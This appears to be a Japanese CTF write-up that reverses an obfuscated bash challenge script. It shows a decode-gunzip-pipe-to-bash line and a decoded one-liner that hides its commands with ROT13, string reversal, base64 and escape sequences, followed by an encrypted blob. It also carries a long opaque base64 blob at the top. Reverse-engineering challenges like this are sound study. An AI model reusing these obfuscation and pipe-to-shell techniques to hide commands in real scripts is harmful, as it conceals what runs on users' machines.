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
How many beeps?

37行目を見てみると、以下のような処理が確認できます。

echo -n H4sIA<長い文字列>AAA==|base64 -d|gunzip|bash;

文字列をbase64デコードして、gunzipで展開し、bashで実行しているようです。 上記の処理のbashを削除して、展開されたスクリプトを確認してみます。

cat Beeeeeeeeeer_2.sh | head -n 37 | tail -n 1 | sed -e "s/|bash;/;/" | bash > Beeeeeeeeeer_3.sh

展開されたスクリプトを確認すると、以下のようになっていました。 また、ワンラインでいろいろ処理を実行しているようです。

for k in $($(echo p2IkPt== |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $((RANDOM % 10 +1)));do l=$((RANDOM % 10 +1)); for m in $($(echo ==gCxV2c |rev|base64 -d) $l); do $($'\u0065\u0063\u0068\u006f' ZWNobwo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' ) -ne '\a'; $'\u0073\u006c\u0065\u0065\u0070' $(echo =oQM |rev|base64 -d); done; $($'\x65\x63\x68\x6f' ZWNobwo= | $'\x62\x61\x73\x65\x36\x34' -d) "How many beeps?"; $'\162\145\141\144' n </dev/tty; export n; if [ "$n" -ne "$l" ];then $'\x65\x78\x69\x74';fi; done;echo ZWNobyAtbmUgJ1xhJztzbGVlcCAxO2VjaG8gLW5lICdcYSc7c2xlZXAgMTtlY2hvIC1uZSAnXGEnO3NsZWVwIDE7ZWNobyAiSG93IG1hbnkgYmVlcHM/IjsK|$($'\x65\x63\x68\x6f' YmFzZTY0Cg== | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' ) $(echo XDJY |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d)|$(echo =bNnmSzL |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d); $'\162\145\141\144'  $'\u006e' </dev/tty; $'\u0065\u0078\u0070\u006f\u0072\u0074'  $'\156';echo U2FsdGVkX18/dVsEIYzYdHlc7BVNg3Hrv5bFmN/mVxrYNXUjnYiCuDSCkUzl+RcdoPcG4lhrGT6R/epB6rV0cLehjx8aWJInLR+W2tf+RSFX+6LFZFVz7dvpYXD/DD754mX/zS0XndPpvTfmCgACxI+9MDjvo1BLgEbe3sm+g04FYanJMQ5UwRtE87Wrs011AhkHkYP1Fn4JoOE+vgfutAUty7raae0I+IKh1TLWFiwkntm1wP0JHWLvhD/DavHhLn3kbrZ5KM5lcZvvGWiuP1gctAdShPE4WxNfT5MZKzFrjEv/b7UGtU1iAt8wIr6+cHCyyfP5IcMYeAbshRJN6yTPyy/mA0PBxWf+gArG4djIpm7Wwjd4IOivx7TgaJFxMjXR+7lnj9UNdtUDPMIe4D0r5t1B6+RB7w/4yxxsyNVfZMwZ1FEuN12gUbNi0S5wGDbOBOygHSal05ra3UIYo3dL22j/0hfW1IzoZ4cwyJpWINKzdRS1TwK0qK/e1+b362A4ufLuJXFpqmJlpo9nstnaU9PqnOpJIcWjJMtKeZ/PjSUr6Ufk3cjE7LHCnK5/wkiWoXr8UMOA3uCyWv95veGRKngVMiqJlTX+UeA2/Ai29vH/hHGtomyQCjf0z5skskxvHl5ZBZsQcoF+aoEzcQc7YpjaqZV342A8CJfa+mxCHg7aFkJQI6P5lDtqCQVMtgR2CJSoRJ0dsfidsdvOjeEV+29z8G+GnCmtfEPWrUBAlR1swhtQGZ7u9O2ShTxUeCtKl7kUZpO1iLzppj0ruiYGFYGsRQdkxK4ZsFp+FF8yR4ItTj1Rxmqp4yYcTsawNSmg/3D4tsjVwi2wOXrIeyMApSssE6vzVX27QHi6MIKkV8klXhxTlrAWh/tOsliStCvkJJsAN5JTGzOXPwfM1Hm28jbBxUEfqQJwK5rzN5vLvQ1tEDpmkoC9G91PAtQV8qSgpzn0Hg/T8HZkX+DWpI/ZEUADFcwTfSbadMuU3pHg0BpqegTM9Sfl4WcFfZUfTOeoW98EW1xEPpPc7yLaQz/h28nLdlbGCQQY26fTnakfj59nhWpTVVBO6F2p5KP0jx/sue3avCf9n1/uqT7f+Ofp9CxTIiByXRhvQ73Z67EQDGTRo9f68C99SGR34UG0Heg4nhh3F9VzKV2tXya/vbxCwB88f4UT1zaSa6AHEx5jfrMiawJTh6FQS3aKa8TYE0tvAD80sSocBOTInVTrutZgvAyGarcO3OaNfAD9v1KQUKMomAYpPOGATMoNXNcx51uZUfC8pYBb8eWLcP+u6n0nIjasL2xdx1ontUjYkdiunyfJRIx7f6Jog3QnlEwW0BRi1Wi345T1kSReNtBVnstHx2FX+fO+8yqV1dmqavufwZmzd0zRXFvng7bhyfsifwUlZKJYBWL9U3A7fwyOI4Q//CgK9EO2DOW3OP0+svH76kuiyEqdKvfYkWzKJ2bTqf852Sm/pst2WCUBe5oVdqiEi1M4K5Mp2aY/axu84JfCYfcwPAO3PVkLtVIeajHr4KFwJyvoPWKKDRYJK7to/VsJGpbuv+jH0sxxPiADSWTB3q1YOweRWdNyh9I05vvW1QozSOpagLYJIFC9h78qJ0s0ZBXaIOj7MAT68I3ffjl/8zB+FOTv2P/Xzy+UA4RM9yaFqEoHbg03BS6dUGZAC3aGLJp3KqK7VKY4a5jY7ioXooI+r8Ecn+oEKBqwgufXYaMmUwEZnyFnJcNNnzYKtB9W12deP8J76cLSYSSIJs/9d9rlyUH6iq7q1OSq58hJGr+HNTdXVSL+cNONPxQcKIEGOC0fOH79ztZa1eVlHL5h/djIXhkXtfQb1Pl/XnUehB+MPwaIlokgHbQWDiPLfZ4qStA6J21pIj12v9xRSyNjznbZL5cvA1SJXiBHWSGiAkwOLhLMKton2ziXVaYDUyoYDsjNnlIFeGOtYpBBwGyR/2sRc3YkQT3ToOjkPXvFL5GlSVwXXsPxmdjZSZfB7ztE1e2OyKo1Ar2XeKNDkoMYKQ5IG+ZsrnEn8lZyia5D4bPIm/bzWk9GqK1SvGqnXWJfz6c9H/Oqc3CuIQRiuvED+75kcXw8zRxZvXL9N+Tm+xRKmI0JhowpGH8DxIdcrymMC7XaNr/Ntu+GnFITZxGQboYEz5pDkFEMV9f3XJv4oBJZUBGzk4IhodhOp9xGXNle+IZZ7iQoTZcdUeH7LX3/aETFRDdnurBf2RtprIsqt6MSTduKMfz6n5/eK9fqGFy0M1XU4tTLjfp+/iOd+I7un7J5gXqldZjT83iUhEtwDIv2I27FC5XZ4jC2hD97CU6g+QPxdLNSNUtSPooJQl6FXm7d7JG0g1I0ujlyvbRkm2BnL3rwK5ZMas2ESKfV7IP/gaPxmf0LF4sC1SyIB7bPzM9J8XqxT7NDaOU+ZEqs7ZC5v9QBxMAGYFNC+vlhWq3B4EGWoqYih+mf1xoFjG5a+LiefWRTU/lR4yx70zj1JSKC/BIXPua+LZ/qamIyWztcsQpTRqNH39yjGx1YrvRCnqmeSgGzw5LeCv5Vpj4TnYwuKHmuKM2ijp55cGYbugh4yMTTlAJqyVlhVNcS+l8d3yxnqv5VFQ6qGFu51gWE/ippslhDm0XUpAFE5JDmaKHEmnsUZD10LOY+H+ReI5OcTdloR57KhLyo6uGvFIa4Cb8q1FSME8hAB2SONtVUK7whHv0e8tDxg3BoPrxeJem88v49gYIsD8cyDjGPlQLbQ5bXJX5grBkaW0DIqThWQ8vf2owm40JqcsHiPVg3lFLSlbqxgDiPR/gsFZT3Wh3l94kED7M4dg4I6gvvdToq3aKjmBa0t6KXAasWjGCsewG8Oywo5tinTA/47Tj4N5248VuRTAA3/USpeqKJCHId0ua6AziVae5DFB94nSH/NV02ODmWpuSGcpGHmVr3Bf2CjlVHLUqxwmOgkcBeaUF0+h24bBdEb+L+AnPFTpxbI4rv1Q6+Ee9EelN7ikyaWIIaeFOqnS5edXNM+gzwR/o3fyowADUeLYFMiYy+oeOjYmUoB7OnVTtNrnlpQCtmqX8IntrH8dHPQRFt6cx4QUJtMA9tTxk0xn9VMI